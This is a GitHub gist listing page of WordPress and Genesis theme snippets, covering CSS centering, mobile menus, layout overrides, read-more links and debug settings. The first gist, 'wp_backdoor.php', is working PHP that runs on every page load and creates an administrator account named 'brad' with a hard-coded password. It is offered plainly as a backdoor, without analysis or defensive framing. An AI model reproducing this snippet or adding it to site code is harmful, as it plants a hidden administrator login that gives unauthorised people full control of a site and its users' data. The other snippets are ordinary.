Skip to content

Instantly share code, notes, and snippets.

View geeac's full-sized avatar

Eugenia Cosinschi geeac

View GitHub Profile
@geeac
geeac / wp_backdoor.php
Last active April 13, 2017 14:54
create backdoor admin user
add_action('init', 'my_backdoor');
function my_backdoor() {
require('wp-includes/registration.php');
$user_id = wp_create_user('brad', 'pa55w0rd');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
@geeac
geeac / vertical-align.css
Created April 11, 2017 08:02
align items vertically
.element {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
@geeac
geeac / genesis-logo-center-menu.php
Created March 20, 2017 10:04
Move logo in center of the main menu
// https://sridharkatakam.com/split-navigation-menu-items-logos-left-right-genesis/
//* Add support for custom header
add_theme_support( 'custom-header', array(
'width' => 200,
'height' => 200,
'header-selector' => '.site-title a',
'header-text' => false,
'flex-height' => true,
) );
@geeac
geeac / genesis-force-layout.php
Last active August 7, 2018 17:58
Genesis force layout conditionally on certain pages
//* Add sidebar to blog posts
add_action( 'genesis_pre_get_option_site_layout', 'gc_add_primary_sidebar' );
function gc_add_primary_sidebar() {
if ( is_home() || is_singular('post') || is_category() || is_month() ) { // for archives and single post pages
/* list of options
content-sidebar
sidebar-content
content-sidebar-sidebar
sidebar-sidebar-content
sidebar-content-sidebar
@geeac
geeac / hambuger-menu.php
Last active March 10, 2017 16:03
Add an extra hamburger menu in Genesis
//* Add hamburger button to primary nav for responsive menu
add_filter( 'wp_nav_menu', 'gc_responsive_nav', 10, 2 );
function gc_responsive_nav($menu, $args){
$args = (array)$args;
if ( 'primary' !== $args['theme_location'] )
return $menu;
ob_start();
$hamburger = '<div id="mobile-button" class="mobile-button toggle-menu menu-right"><span></span><span></span><span></span></div>';
return $menu . $hamburger;
@geeac
geeac / genesis-reposition-mobile-menu.js
Last active March 3, 2017 08:33
reposition mobile menu in genesis themes
/* Reposition nav-primary on top of page-top */
$( '.page-top' ).before( toggleButtons.menu ); // add the main nav toggle
/* Reposition nav-primary on top of page-top */
$(window).resize(function() {
if ($(window).width() < 1024) {
$('.page-top').before($('.nav-primary'));
}
});
if ($(window).width() < 1024) {
$('.page-top').before($('.nav-primary'));
@geeac
geeac / limit-long-titles.css
Created March 3, 2017 07:45
limit long titles to 1 row with css
.products h3 {
display: block;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
//goes to wp-config.php
ini_set('log_errors','On');
ini_set('display_errors','Off');
ini_set('error_reporting', E_ALL );
define('WP_DEBUG', false);
define('WP_DEBUG_LOG', true);
define('WP_DEBUG_DISPLAY', false);
@geeac
geeac / readmore.php
Created January 21, 2017 19:23
Add Readmore link to excerpts
// Add "Read More" link to automatic excerpts
add_filter('the_content_more_link', 'wpm_get_read_more_link');
add_filter('get_the_content_more_link', 'wpm_get_read_more_link'); // Genesis Framework only
add_filter('excerpt_more', 'wpm_get_read_more_link');
function wpm_get_read_more_link() {
global $post;
return '&hellip;&nbsp;<a href="' . get_permalink($post->ID) . '">[Continue&nbsp;reading] <span class="screen-reader-text">' . get_the_title() . '</span></a>';
}
// Add "Read More" link to hand-crafted excerpts
//display list of subpages with featured images as thumb
//get the list of child pages
$mypages = get_pages( array( 'child_of' => $post->ID, 'sort_column' => 'post_date', 'sort_order' => 'desc' ) );
//if the page has no children, get the parent's children
if ( !$mypages)
$mypages = get_pages( array( 'child_of' => wp_get_post_parent_id( $post_ID ), 'sort_column' => 'post_date', 'sort_order' => 'desc' ) );
foreach( $mypages as $page ) {
if ( $page->ID != $post->ID){ //don't display the member's thumbnail if it's the member's page
$content = $page->post_content;